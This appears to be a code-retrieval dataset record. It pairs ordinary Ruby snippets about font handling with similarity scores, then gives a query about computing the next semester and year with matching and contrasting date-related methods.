"def AddFont(family, style='', file='')\n\t\tif (family.empty?)\n\t\t\treturn;\n\t\tend\n\n\t\t#Add a TrueType or Type1 font\n\t\tfamily = family.downcase\n\t\tif ((!@is_unicode) and (family == 'arial'))\n\t\t\tfamily = 'helvetica';\n\t\tend\n\n\t\tstyle=style.upcase\n\t\tstyle=style.gsub('U','');\n\t\tstyle=style.gsub('D','');\n\t\tif (style == 'IB')\n\t\t\tstyle = 'BI';\n\t\tend\n\n\t\tfontkey = family + style;\n\t\t# check if the font has been already added\n\t\tif !@fonts[fontkey].nil?\n\t\t\treturn;\n\t\tend\n\n\t\tif (file=='')\n\t\t\tfile = family.gsub(' ', '') + style.downcase + '.rb';\n\t\tend\n\t\tfont_file_name = getfontpath(file)\n\t\tif (font_file_name.nil?)\n\t\t\t# try to load the basic file without styles\n\t\t\tfile = family.gsub(' ', '') + '.rb';\n \t\tfont_file_name = getfontpath(file)\n\t\tend\n if font_file_name.nil?\n\t\t\tError(\"Could not find font #{file}.\")\n end\n\t\trequire(getfontpath(file))\n\t\tfont_desc = TCPDFFontDescriptor.font(file)\n\n\t\tif (font_desc[:name].nil? and @@fpdf_charwidths.nil?)\n\t\t\tError('Could not include font definition file');\n\t\tend\n\n\t\ti = @fonts.length+1;\n\t\tif (@is_unicode)\n\t\t\t@fonts[fontkey] = {'i' => i, 'type' => font_desc[:type], 'name' => font_desc[:name], 'desc' => font_desc[:desc], 'up' => font_desc[:up], 'ut' => font_desc[:ut], 'cw' => font_desc[:cw], 'enc' => font_desc[:enc], 'file' => font_desc[:file], 'ctg' => font_desc[:ctg], 'cMap' => font_desc[:cMap], 'registry' => font_desc[:registry]}\n\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\telse\n\t\t\t@fonts[fontkey]={'i' => i, 'type'=>'core', 'name'=>@core_fonts[fontkey], 'up'=>-100, 'ut'=>50, 'cw' => font_desc[:cw]}\n\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\tend\n\n\t\tif (!font_desc[:diff].nil? and (!font_desc[:diff].empty?))\n\t\t\t#Search existing encodings\n\t\t\td=0;\n\t\t\tnb=@diffs.length;\n\t\t\t1.upto(nb) do |i|\n\t\t\t\tif (@diffs[i]== font_desc[:diff])\n\t\t\t\t\td = i;\n\t\t\t\t\tbreak;\n\t\t\t\tend\n\t\t\tend\n\t\t\tif (d==0)\n\t\t\t\td = nb+1;\n\t\t\t\t@diffs[d] = font_desc[:diff];\n\t\t\tend\n\t\t\t@fonts[fontkey]['diff'] = d;\n\t\tend\n\t\tif (font_desc[:file] and font_desc[:file].length > 0)\n\t\t\tif (font_desc[:type] == \"TrueType\") or (font_desc[:type] == \"TrueTypeUnicode\")\n\t\t\t\t@font_files[font_desc[:file]] = {'length1' => font_desc[:originalsize]}\n\t\t\telse\n\t\t\t\t@font_files[font_desc[:file]] = {'length1' => font_desc[:size1], 'length2' => font_desc[:size2]}\n\t\t\tend\n\t\tend\n\tend",
"def font(name=\"Helvetica\", size=nil)\n fontsize(size) if size\n @fname = name\n fontsize unless @fsize\n CGContextSelectFont(@ctx, @fname, @fsize, KCGEncodingMacRoman)\n end",
"def fontscheme(data)\n id = data.unpack('C').first\n\n name = {\n 0x00 => :XFSNONE, # No font scheme\n 0x01 => :XFSMAJOR, # Major scheme\n 0x02 => :XFSMINOR, # Minor scheme\n 0xff => :XFSNIL # Ninched state\n }[id]\n\n {\n FontScheme: id,\n FontScheme_d: name,\n }\n end",
"def font\n\t\treturn @font\n\tend",
"def family\n BROWSER_PARSERS[family_sym]\n end",
"def SetFont(family, style='', size=0)\n\t\t# save previous values\n\t\t@prevfont_family = @font_family;\n\t\t@prevfont_style = @font_style;\n\n\t\tfamily=family.downcase;\n\t\tif (family=='')\n\t\t\tfamily=@font_family;\n\t\tend\n\t\tif ((!@is_unicode) and (family == 'arial'))\n\t\t\tfamily = 'helvetica';\n\t\telsif ((family==\"symbol\") or (family==\"zapfdingbats\"))\n\t\t\tstyle='';\n\t\tend\n\t\t\n\t\tstyle=style.upcase;\n\n\t\tif (style.include?('U'))\n\t\t\t@underline=true;\n\t\t\tstyle= style.gsub('U','');\n\t\telse\n\t\t\t@underline=false;\n\t\tend\n\t\tif (style.include?('D'))\n\t\t\t@deleted=true;\n\t\t\tstyle= style.gsub('D','');\n\t\telse\n\t\t\t@deleted=false;\n\t\tend\n\t\tif (style=='IB')\n\t\t\tstyle='BI';\n\t\tend\n\t\tif (size==0)\n\t\t\tsize=@font_size_pt;\n\t\tend\n\n\t\t# try to add font (if not already added)\n\t\tAddFont(family, style);\n\t\t\n\t\t#Test if font is already selected\n\t\tif ((@font_family == family) and (@font_style == style) and (@font_size_pt == size))\n\t\t\treturn;\n\t\tend\n\t\t\n\t\tfontkey = family + style;\n\t\tstyle = '' if (@fonts[fontkey].nil? and !@fonts[family].nil?)\n \n\t\t#Test if used for the first time\n\t\tif (@fonts[fontkey].nil?)\n\t\t\t#Check if one of the standard fonts\n\t\t\tif (!@core_fonts[fontkey].nil?)\n\t\t\t\tif @@fpdf_charwidths[fontkey].nil?\n\t\t\t\t\t#Load metric file\n\t\t\t\t\tfile = family;\n\t\t\t\t\tif ((family!='symbol') and (family!='zapfdingbats'))\n\t\t\t\t\t\tfile += style.downcase;\n\t\t\t\t\tend\n\t\t\t\t\tif (getfontpath(file + '.rb').nil?)\n\t\t\t\t\t\t# try to load the basic file without styles\n\t\t\t\t\t\tfile = family;\n\t\t\t\t\t\tfontkey = family;\n\t\t\t\t\tend\n\t\t\t\t\trequire(getfontpath(file + '.rb'));\n \t\tfont_desc = TCPDFFontDescriptor.font(file)\n\t\t\t\t\tif ((@is_unicode and ctg.nil?) or ((!@is_unicode) and (@@fpdf_charwidths[fontkey].nil?)) )\n\t\t\t\t\t\tError(\"Could not include font metric file [\" + fontkey + \"]: \" + getfontpath(file + \".rb\"));\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ti = @fonts.length + 1;\n\n\t\t\t\tif (@is_unicode)\n\t\t\t\t\t@fonts[fontkey] = {'i' => i, 'type' => font_desc[:type], 'name' => font_desc[:name], 'desc' => font_desc[:desc], 'up' => font_desc[:up], 'ut' => font_desc[:ut], 'cw' => font_desc[:cw], 'enc' => font_desc[:enc], 'file' => font_desc[:file], 'ctg' => font_desc[:ctg]}\n\t\t\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\t\t\telse\n\t\t\t\t\t@fonts[fontkey] = {'i' => i, 'type'=>'core', 'name'=>@core_fonts[fontkey], 'up'=>-100, 'ut'=>50, 'cw' => font_desc[:cw]}\n\t\t\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tError('Undefined font: ' + family + ' ' + style);\n\t\t\tend\n\t\tend\n\t\t#Select it\n\t\t@font_family = family;\n\t\t@font_style = style;\n\t\t@font_size_pt = size;\n\t\t@font_size = size / @k;\n\t\t@current_font = @fonts[fontkey]; # was & may need deep copy?\n\t\tif (@page>0)\n\t\t\tout(sprintf('BT /F%d %.2f Tf ET', @current_font['i'], @font_size_pt));\n\t\tend\n\tend",
"def path(font_name)\n all_paths.find { |path| path.downcase.include?(font_name) }\n end",
"def set_font\n font_families.update(\n 'HealthQuestPDF' => {\n normal: HealthQuest::Engine.root.join('lib', 'fonts', 'sourcesanspro-regular-webfont.ttf'),\n medium: HealthQuest::Engine.root.join('lib', 'fonts', 'sourcesanspro-bold-webfont.ttf'),\n bold: HealthQuest::Engine.root.join('lib', 'fonts', 'bitter-bold.ttf')\n }\n )\n font 'HealthQuestPDF'\n end",
"def font(row, col, sheet = nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n\n @fonts[sheet][normalize(row,col).to_a]\n end",
"def family?\r\n infoxml = get_info\r\n \r\n if family = infoxml['family']\r\n return family == '1'\r\n end\r\n \r\n return false\r\n end",
"def get_original_font(name = :Helvetica)\n initiate_library\n FONTS_LIBRARY[name]\n end",
"def get_family_latin_name combined_family_name\n\t\treturn combined_family_name.split(/[()]/)[0]\n\tend",
"def set_font_families(font_families:)\n {\n method: \"Page.setFontFamilies\",\n params: { fontFamilies: font_families }.compact\n }\n end",
"def family_by_slug(slug)\n Family.find_by_slug(slug)\n end",
"def coordinate_labels_font_family\n if self.options[:font_family].blank?\n 'Helvetica Neue'\n else\n self.options[:font_family]\n end\n end",
"def current_font!\n select_font(\"Helvetica\") unless @current_base_font\n\n font = File.basename(@current_base_font)\n if @font_families[font] and @font_families[font][@current_text_state]\n # Then we are in some state or another and this font has a family,\n # and the current setting exists within it select the font, then\n # return it.\n if File.dirname(@current_base_font) != '.'\n nf = File.join(File.dirname(@current_base_font), @font_families[font][@current_text_state])\n else\n nf = @font_families[font][@current_text_state]\n end\n\n unless @fonts[nf]\n enc = {\n :encoding => @fonts[font].encoding,\n :differences => @fonts[font].differences\n }\n load_font(nf, enc)\n end\n @current_font = nf\n else\n @current_font = @current_base_font\n end\n end",
"def family\n @sentences << \"#{name_clause} is a family of #{a1}.\"\n end",
"def to_family\n self\n end",
"def find(position, number_of_families)\n current = self[position]\n if current == nil\n return nil\n end\n caravan = \"The #{current.surname} family\"\n (number_of_families-1).times do\n current = current.next_node\n caravan.concat(\", followed by the #{current.surname} family\")\n end\n return caravan\n end",
"def family\n OS_PARSERS[family_sym]\n end",
"def get_fonts(name, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_fonts_with_http_info(name, password, folder, storage)\n data\n end",
"def get_font_scheme(name, slide_index, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_font_scheme_with_http_info(name, slide_index, password, folder, storage)\n data\n end",
"def is_fonts?(); @type == GRT_FONTS; end",
"def set_fonts\n font_families.update(\"Arial\" => {\n :normal => \"#{Rails.root}/vendor/assets/fonts/Arial.ttf\",\n :bold => \"#{Rails.root}/vendor/assets/fonts/Arial-Bold.ttf\"\n })\n font \"Arial\"\n end",
"def info_font(*args)\n @p.info_font(self, *args)\n end",
"def default_font_name()\n end",
"def browser_family\n browser_parser.family.browser\n end",
"def set_font_from_path(font, bold_font)\n font_name = Pathname.new(font).basename\n @pdf.font_families.update(\n \"#{font_name}\" => {\n normal: font,\n italic: font,\n bold: bold_font,\n bold_italic: bold_font\n }\n )\n @pdf.font(font_name)\n end",
"def derive_family(lname)\n # Initialize a cache, default value is a new random family id\n $last_name_cache ||= Hash.new do |hash, key|\n hash[key] = $families.sample\n end\n return $last_name_cache[lname]\nend",
"def set_family\n @family = Family.friendly.find(params[:id])\n end",
"def header_font\n # Registering the Ostrich TTF font\n font_families.update(\"ostrich-bold-webfont\" => {\n normal: \"./app/assets/fonts/ostrich-bold-webfont.ttf\"})\n\n font \"ostrich-bold-webfont\"\n end",
"def pbSmallFontName\n return MessageConfig.pbTryFonts(\"Power Green Small With BLD\",\"Pokemon Emerald Small With BLD\",\n \"Arial Narrow\",\"Arial\")\nend",
"def font(height, font_name=Gosu::default_font_name)\n @used_fonts ||= {}\n key = [font_name, height]\n if @used_fonts.include? key\n @font = @used_fonts[key]\n else\n @font = @used_fonts[key] = Gosu::Font.new(self, font_name, height)\n end\n end",
"def family\n String.from_java_bytes @java.getFamily\n end",
"def find_font_for_this_glyph char, current_font, current_font_opts = {}, fallback_fonts_to_check = [], original_font = current_font\n (doc = @document).font current_font, current_font_opts\n if doc.font.glyph_present? char\n current_font\n elsif fallback_fonts_to_check.empty?\n if logger.info? && !doc.scratch?\n fonts_checked = [original_font].concat @fallback_fonts\n missing_chars = (doc.instance_variable_defined? :@missing_chars) ?\n (doc.instance_variable_get :@missing_chars) : (doc.instance_variable_set :@missing_chars, {})\n previous_fonts_checked = (missing_chars[char] ||= [])\n if previous_fonts_checked.empty? && !(previous_fonts_checked.include? fonts_checked)\n logger.warn %(Could not locate the character `#{char}' (#{char.unpack('U*').map {|it| \"\\\\u#{(it.to_s 16).rjust 4, '0'}\" }.join}) in the following fonts: #{fonts_checked.join ', '})\n previous_fonts_checked << fonts_checked\n end\n end\n original_font\n else\n find_font_for_this_glyph char, fallback_fonts_to_check.shift, current_font_opts, fallback_fonts_to_check, original_font\n end\n end",
"def parse_font_options(options = {})\n return if (options.keys & [:fg_color, :sz, :b, :i, :u, :strike, :outline, :shadow, :charset, :family, :font_name]).empty?\n\n Axlsx.instance_values_for(fonts.first).each do |key, value|\n # Thanks for that 1.8.7 - cant do a simple merge...\n options[key.to_sym] = value unless options.key?(key.to_sym)\n end\n font = Font.new(options)\n font.color = Color.new(rgb: options[:fg_color]) if options[:fg_color]\n font.name = options[:font_name] if options[:font_name]\n options[:type] == :dxf ? font : fonts << font\n end",
"def google_fonts(css)\n names = regex_scan(css, '--\\S*:\\s*\"(.*)\",?.*;', false, true).sort.uniq\n weights = regex_scan(css, '--\\S*:\\s(\\d{3});', false, true).sort.uniq\n url = \"https://fonts.googleapis.com/css2?display=swap&\"\n for name in names do\n name.sub!\" \", \"+\"\n url += \"&family=#{name}:ital,wght@\"\n for ital in [0, 1] do\n for weight in weights do\n url += \"#{ital},#{weight};\"\n end\n end\n url.delete_suffix!(\";\")\n end\n return url\n end",
"def css_font(theme)\n\t\tcase theme\n\t\t\twhen \"snowpurple\"\n\t\t\t\treturn \"http://fonts.googleapis.com/css?family=Lato:300,400,700,900\"\n\t\t\twhen \"citrus\"\n\t\t\t\treturn \"http://fonts.googleapis.com/css?family=Permanent+Marker\"\n\t\t\twhen \"darkness\"\n\t\t\t\treturn \"http://fonts.googleapis.com/css?family=Old+Standard+TT\"\n\t\tend\n\tend",
"def family_id\n @gapi.family_id\n end",
"def font_builder(name)\n key = font_key(name)\n klass = @builders[key]\n check_is_a!(klass, Class)\n klass\n end",
"def show\n @card_font_family = CardFontFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card_font_family }\n end\n end",
"def families\n @ks[:family].keys\n end",
"def browser_family_sym\n browser_parser.family_sym\n end",
"def get_font_scheme(slide_number,storage_type='',storage_name='')\n begin\n if @filename == ''\n raise 'No file name specified'\n end\n str_uri = $product_uri + '/slides/' + @filename + '/slides/' + slide_number.to_s + '/theme/fontScheme'\n if !storage_name.empty?\n str_uri += '?storage=' + storage_name\n end\n signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n response = RestClient.get(signed_uri, :accept => 'application/json')\n json = JSON.parse(response)\n return json['FontScheme']\n rescue Exception=>e\n print e\n end\n end",
"def get_available_fonts(request)\n data, _status_code, _headers = get_available_fonts_with_http_info(request)\n request_token if _status_code == 401\n data\n end",
"def font_id(style_index)\n xf_id(style_index)[:fontId]\n end",
"def quoted_fonts\n quoted_fonts = @font_family.map do |font|\n if font.include?(' ') && font[0] != \"'\"\n \"'#{font}'\"\n else\n font\n end\n end\n\n quoted_fonts.join(', ')\n end",
"def font=(value)\n @font = value\n end",
"def pbNarrowFontName\n return MessageConfig.pbTryFonts(\"Power Green Narrow With BLD\",\"Pokemon Emerald Narrow With BLD\",\n \"Arial Narrow\",\"Arial\")\nend",
"def download(font_family, destination_path, from_cache = true)\n downloaded_fonts = []\n item = finder.find(font_family)\n return downloaded_fonts if item.empty?\n\n font_family = item['family'].gsub(/\\s/, '-')\n item['files'].each do |variant, url|\n filename = \"#{font_family}-#{variant}#{File.extname(url)}\"\n font_path = File.join(destination_path, filename)\n\n if from_cache && LocalCache.enable? && cache_path = LocalCache.path(filename)\n FileUtils.copy(cache_path, destination_path)\n else\n unless File.exist?(font_path)\n HTTP.get(url, font_path)\n LocalCache.save(font_path)\n end\n end\n downloaded_fonts << font_path\n end\n\n downloaded_fonts\n end",
"def load_fonts\n\n # Load fonts.\n self.load_single_font('Across The Road')\n self.load_single_font('Alabama')\n self.load_single_font('Arial')\n self.load_single_font('Arial Narrow')\n self.load_single_font('Arty Signature')\n self.load_single_font('Asem Kandis')\n self.load_single_font('Autograf')\n self.load_single_font('Born Ready')\n self.load_single_font('Brittany Signature')\n self.load_single_font('Bulgatti')\n self.load_single_font('Courier New')\n self.load_single_font('Estelly')\n self.load_single_font('Friday Vibes')\n self.load_single_font('From Skyler')\n self.load_single_font('Gallatone')\n self.load_single_font('Halimun')\n self.load_single_font('Hello Santtiny')\n self.load_single_font('Just Realize')\n self.load_single_font('Just Signature')\n self.load_single_font('Mayestica')\n self.load_single_font('Menlo')\n self.load_single_font('Notera')\n self.load_single_font('Prestige Signature')\n self.load_single_font('Reinata')\n self.load_single_font('Santos Dumont')\n self.load_single_font('SF Mono')\n self.load_single_font('Shopping List')\n self.load_single_font('Signatures')\n self.load_single_font('Signerica')\n self.load_single_font('Silver Pen')\n self.load_single_font('Sophistica')\n self.load_single_font('Source Code Pro')\n self.load_single_font('Southampton')\n self.load_single_font('Thankfully')\n self.load_single_font('The Jacklyn')\n self.load_single_font('Tomatoes')\n self.load_single_font('Wanted Signature')\n self.load_single_font('White Angelica')\n self.load_single_font('Whitney')\n self.load_single_font('Whitney Bold')\n self.load_single_font('Whitney Index Rounded')\n self.load_single_font('Whitney Index Squared')\n self.load_single_font('Xtreem')\n self.load_single_font('Gotham Condensed')\n\n end",
"def font_style(style=nil)\n cur_page.font_style(style)\n end",
"def set_font_set_and_project\n @project = Project.find(params[:project_id])\n @font_set = @project.font_sets.find(params[:id])\n @font_families = get_font_family_array(@project)\n end",
"def set_font(face, size)\n @curr_font = Gauges::FontRef.get(face, size)\n end",
"def find_family(distro)\n el = ['CentOS','RedHat','SL','Oracle','EL']\n deb = ['Ubuntu','Debian','Deb']\n suse = ['SLES','openSUSE','SUSE']\n os_family = [el, deb, suse]\n family = ''\n os_family.each do |type|\n if type.include?(distro)\n return type.last\n end\n end\n end",
"def font(id, size, global = true, ext = '.ttf')\n a = global ? @global_fonts : @fonts\n id_size = \"#{id}_#{size}\"\n return a[id_size] if a[id_size]\n s = @prefix + @font_dir + id.to_s.split(@separator).join('/') + ext\n font = Gosu::Font.new size, name: s\n a[id_size] = font\n end",
"def family\n @plugin_family ||= @event.at('@pluginFamily').inner_text\n end",
"def add_font font\n @fonts.push(font).uniq! if font\n font\n end",
"def loadfont(str)\n inquiry_int do |font|\n super(str, font)\n end\n end",
"def font_encoding(encoding=nil)\n cur_page.font_encoding(encoding)\n end",
"def get_font_latin_attributes(font)\n return [] unless font\n\n attributes = []\n attributes << 'typeface' << font[:_name] if ptrue?(font[:_name])\n attributes << 'pitchFamily' << font[:_pitch_family] if font[:_pitch_family]\n attributes << 'charset' << font[:_charset] if font[:_charset]\n\n attributes\n end",
"def fonts_list\n initiate_library\n FONTS_LIBRARY.keys\n end",
"def font_setup\n font_families.update(\"Montserrat\" => {\n :normal => \"vendor/assets/fonts/Montserrat/Montserrat-Regular.ttf\",\n :italic => \"vendor/assets/fonts/Montserrat/Montserrat-Italic.ttf\",\n :bold => \"vendor/assets/fonts/Montserrat/Montserrat-Bold.ttf\",\n })\n font \"Montserrat\"\n end",
"def common_family_name; end",
"def font(row, col, sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n row, col = normalize(row, col)\n style_name = @style[sheet][[row, col]] || @style_defaults[sheet][col - 1] || 'Default'\n @font_style_definitions[style_name]\n end",
"def font_size()\n validate_worksheet\n return @workbook.fonts[font_id()][:font][:sz][:attributes][:val]\n end",
"def get_gender(page)\n # Get the line that contains the player's race\n gender = page.grep(/chara_profile_title/)\n\n # Get the last word (which contains the gender)\n gender1 = gender[0].split[-1]\n\n if gender1[0] == \"♂\"\n gender = \"male\"\n elsif gender1[0] == \"♀\"\n gender = \"female\"\n else\n gender = nil\n end\n return gender\n end",
"def get_gender(page)\n # Get the line that contains the player's race\n gender = page.grep(/chara_profile_title/)\n\n # Get the last word (which contains the gender)\n gender1 = gender[0].split[-1]\n\n if gender1[0] == \"♂\"\n gender = \"male\"\n elsif gender1[0] == \"♀\"\n gender = \"female\"\n else\n gender = nil\n end\n return gender\n end",
"def change_font_name(new_font_name = 'Verdana')\n validate_worksheet\n\n font = get_cell_font.dup\n font.set_name(new_font_name)\n update_font_references(font)\n end"
] |
[
"0.728838",
"0.68707097",
"0.67631054",
"0.6666355",
"0.663432",
"0.65537095",
"0.65502644",
"0.64358795",
"0.63719773",
"0.6371882",
"0.6363303",
"0.6351897",
"0.6331646",
"0.63307244",
"0.63152313",
"0.6279574",
"0.61627495",
"0.6132671",
"0.6091355",
"0.6053745",
"0.6030332",
"0.5964456",
"0.59595007",
"0.5959273",
"0.59488285",
"0.5888438",
"0.58802277",
"0.58273953",
"0.5791997",
"0.57887685",
"0.5761184",
"0.57610893",
"0.57545453",
"0.5714536",
"0.57104176",
"0.569966",
"0.56600803",
"0.5657825",
"0.56566715",
"0.56559885",
"0.56445664",
"0.5584278",
"0.55822355",
"0.5576008",
"0.5542008",
"0.55416465",
"0.5531805",
"0.55038464",
"0.5502694",
"0.5491314",
"0.5484951",
"0.54561317",
"0.5453637",
"0.54335004",
"0.5427681",
"0.5414131",
"0.5413224",
"0.5411447",
"0.54095256",
"0.5407205",
"0.5397626",
"0.53963304",
"0.5386181",
"0.53776574",
"0.53498995",
"0.5321028",
"0.5313978",
"0.5313097",
"0.5313075",
"0.5304766",
"0.5303159",
"0.52988434",
"0.5297548",
"0.52931607",
"0.52715683",
"0.526574",
"0.5231064",
"0.52114755",
"0.5190596",
"0.5173064",
"0.5172472",
"0.517192",
"0.51711744",
"0.51680684",
"0.5159097",
"0.515251",
"0.51119685",
"0.510769",
"0.5098705",
"0.50951177",
"0.50944287",
"0.5070004",
"0.50598633",
"0.5057836",
"0.5052786",
"0.5031542",
"0.5029261",
"0.5022567",
"0.5022567",
"0.5005206"
] |
0.7447777
|
0
|
returns the next consecutive semester and year same as above, except instance method
|
def get_next_semester_and_year
return Semester.get_next_semester_and_year(semester, year)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def year\n ((semester - 1) / 2) + 1\n end",
"def next_year\n AcademicYear.find_by(year: self.year + 1)\n end",
"def semester\n time = time_from_enrollment\n @semester = time.div(1.year / 2) + 1\n @semester = 1 if @semester <= 0\n return @semester\n end",
"def get_next_yr\n\tset_cur_year(get_cur_year+1)\nend",
"def next\n if index < 52\n self.class.new(year, index + 1)\n elsif year.week_count == 53 and index == 52\n self.class.new(year, index + 1)\n else\n self.class.new(year.next, 1)\n end\n end",
"def next_year(years = 1)\n advance(years: years)\n end",
"def get_current_semester\n time = Time.new\n if time.month >= 3 && time.month < 10\n time.year.to_s + '08'\n else\n (time.year + 1).to_s + '01'\n end\n end",
"def semester\n\t\treturn nil unless self.showtimes.first\n\t\topens = self.open_date\n\t\tif(opens.month < 7)\n\t\t\topens.year.to_s + \"01\"\n\t\telse\n\t\t\topens.year.to_s + \"03\"\n\t\tend\n\tend",
"def semester\n\t\topens = self.showtimes.first\n\t\tif(opens.month < 7)\n\t\t\topens.year.to_s + \"01\"\n\t\telse\n\t\t\topens.year.to_s + \"03\"\n\t\tend\n\tend",
"def next_happy_year(year)\n loop do\n year += 1\n return year if year.digits.uniq == year.digits\n end\nend",
"def succ\n s = dup\n s.season = next_season_code\n s.year = year + 1 if s.first?\n s\n end",
"def next_years\n current_year = Time.now.year\n current_year..(current_year + 4)\n end",
"def nextDate\n sd = SimpleDate.new(@month, @day, @year)\n\n if (sd.month == 12 && sd.day == 31)\n return SimpleDate.new(1, 1, @year+1)\n\n elsif (leapYear? && sd.month == 2 && sd.day == DAYS_IN_MONTH[sd.month] )\n return SimpleDate.new(2, 29, @year)\n\n elsif(sd.day == SimpleDate.daysInMonth(month, year))\n return SimpleDate.new(@month + 1, 1, @year)\n\n else\n return SimpleDate.new(@month, @day + 1, @year)\n end\n end",
"def current_semester\n AcademicCalendar.current_semester()\n end",
"def next_month(month, year)\n if month == 12\n [1, year + 1]\n else\n [month + 1, year]\n end\nend",
"def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end",
"def get_current_semester_and_year\n\t#check intervals for winter- or summer-semester\n\tif (Time.now.month < 5 or Time.now.month > 9)\n\t\tsemester = \"Wintersemester\"\n\t\t#double if-clause to check which of both possible wintersemesters is meant.\n\t\tif (Time.now.month < 5)\n\t\t\tyear = \" \"+((Time.now.year-1).to_s)+\"/\"+Date.today.strftime(\"%Y\")\n\t\telse\n\t\t\tyear = \" \"+Date.today.strftime(\"%Y\")+\"/\"+((Time.now.year+1).to_s)\n\t\tend\n\telsif (Time.now.month > 4 and Time.now.month < 10)\n\t\tsemester = \"Sommersemester\"\n\t\tyear = \" \"+ Date.today.strftime(\"%Y\")\n\tend\n\n\treturn semester + year\nend",
"def next\n next_qtr_code = quarter_code_id == 4 ? 1 : quarter_code_id + 1\n next_year = quarter_code_id == 4 ? year + 1 : year\n Quarter.find_easily(next_qtr_code, next_year)\n end",
"def semester_start\n #Todo: refactor this code to check for self.year\n # these are for 2010\n if semester == \"Spring\" then\n return self.mini == \"B\" ? 9 : 2\n end\n if semester == \"Summer\" then\n return self.mini == \"B\" ? 26 : 20\n end\n if semester == \"Fall\" then\n return self.mini == \"B\" ? 41 : 34\n end\n # these are for 2009\n# if semester == \"Spring\" then\n# return self.mini == \"B\" ? 10 : 3\n# end\n# if semester == \"Summer\" then\n# return self.mini == \"B\" ? 27 : 21\n# end\n# if semester == \"Fall\" then\n# return self.mini == \"B\" ? 42 : 35\n# end\n return 0 #If the semester field isn't set\n end",
"def no_repeat_years(first_year, last_year)\nend",
"def effective_year\n if next_year_start_at && Time.zone.now < 1.year.from_now(next_year_start_at)\n if Time.zone.now < next_year_start_at\n return Time.zone.now.year\n elsif Time.zone.now >= next_year_start_at\n if Time.zone.now.year == next_year_start_at.year\n return Time.zone.now.year + 1\n else\n return Time.zone.now.year\n end\n end\n elsif Time.zone.now.month == 12 && Time.zone.now.day >= 1\n return Time.zone.now.year + 1\n end\n\n Time.zone.now.year\n end",
"def next!\n if @date.month + 1 > 12\n @date = Date.new(@date.year+1,@date.month,1)\n else\n @date = Date.new(@date.year,@date.month+1,1)\n end\n end",
"def succ\n FiscalYear.new(self + 1)\n end",
"def prev_year(years = 1)\n advance(years: -years)\n end",
"def first_year\n 2012\n end",
"def year\n current_year = Date.today.year\n\n case raw_year\n when current_year; \"this year\"\n when current_year.next; \"next year\"\n when current_year.pred; \"last year\"\n else; raw_year.to_s\n end\n end",
"def find_next_date_for_yearly start\n if (month == start.month && month_end) || \n (month == start.month && start.month == 2 && month_day > 28) ||\n (month == start.month && month_day > 30)\n return start.end_of_month\n elsif month == start.month\n next_date = Date.new(start.year, month, month_day)\n end\n return next_date if next_date && next_date <= end_date\n #unless next_date.future?\n # next_date = next_date + 1.year\n # next_date = next_date.end_of_month if month_end\n #end\n #next_date\n nil\n end",
"def last_possible_exam_semester\n study_length * 2 - 2\n end",
"def get_next_mth\n\t# Precondition: Check if current month is valid\n\tcheck_cur_mth\n\n\t# Is the current month December?\n\tif get_cur_mth == $num_mths\n\t\t# Yes, set the current month to January\n\t\tset_cur_mth(1)\n\t\t# Move on to the next year\n\t\tget_next_yr\n\telse\n\t\t# Else, move on to the next month\n\t\tset_cur_mth((get_cur_mth+1).modulo($num_mths))\n\tend\nend",
"def call(year)\n previous_year = Population.previous_known(year)\n\n return previous_year.population if previous_year.year == year # year entered is known\n\n next_year = Population.next_known(year)\n\n # there is no next year - unable to calculate\n return nil if next_year.nil? \n\n # calculate the percentage that year is between next and previous years\n mod_percentage = (year - previous_year.year).to_f / (next_year.year - previous_year.year).to_f\n delta_population = next_year.population - previous_year.population\n\n (delta_population * mod_percentage).to_i + previous_year.population\n end",
"def start_year\n Time.now.year - 75\n end",
"def year() end",
"def current_planning_year_year\n current_fiscal_year_year + 1\n end",
"def range\n beginning_of_period..(self.next_year).beginning_of_period\n end",
"def course_start\n start = AcademicCalendar.semester_start(semester, year)\n\n if semester == \"Spring\" then\n return self.mini == \"B\" ? start + 7 : start\n end\n if semester == \"Summer\" then\n return self.mini == \"B\" ? start + 6 : start\n end\n if semester == \"Fall\" then\n return self.mini == \"B\" ? start + 7 : start\n end\n return 0 #If the semester field isn't set\n end",
"def end_of_month\n self.class.new year, month + 1, 0\n end",
"def year\n if self.mitDirStudentYear\n Date.today.year + 4 - self.mitDirStudentYear.to_i + ((Date.today.month > 6)?1:0)\n else\n nil\n end\n end",
"def current_semester_id\n unless @current_semester_id\n cur_month = \"#{Date::MONTHNAMES[Time.now.month()]} #{Time.now.year()}\"\n @current_semester_id = Month.find_semester_id(cur_month)\n end\n @current_semester_id\n\n end",
"def stop_date\n\t\t#return Date.new(y=year+1, m=START_MONTH, d=START_DAY) - 1\n\t\treturn start_date.next_year.prev_day()\n\tend",
"def find_next_non_specific(date)\n values = ['first', 'second', 'third', 'fourth']\n\n case @schedule.days_month\n when 'last'\n d = Date.new(date.year, date.month, -1)\n\n return d if @schedule.days_month_day == nil\n\n d -= ((d.wday - @schedule.days_month_day) % 7)\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n return find_next_non_specific(d)\n end\n\n return d\n else\n if @schedule.days_month_day == nil\n if values.index(@schedule.days_month) + 1 < date.day\n months_to_add = @schedule.period_num\n months_since_startdate = (date.year * 12 + date.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n date += months_to_add.months\n end\n \n return Date.new(date.year, date.month, values.index(@schedule.days_month)+1) if 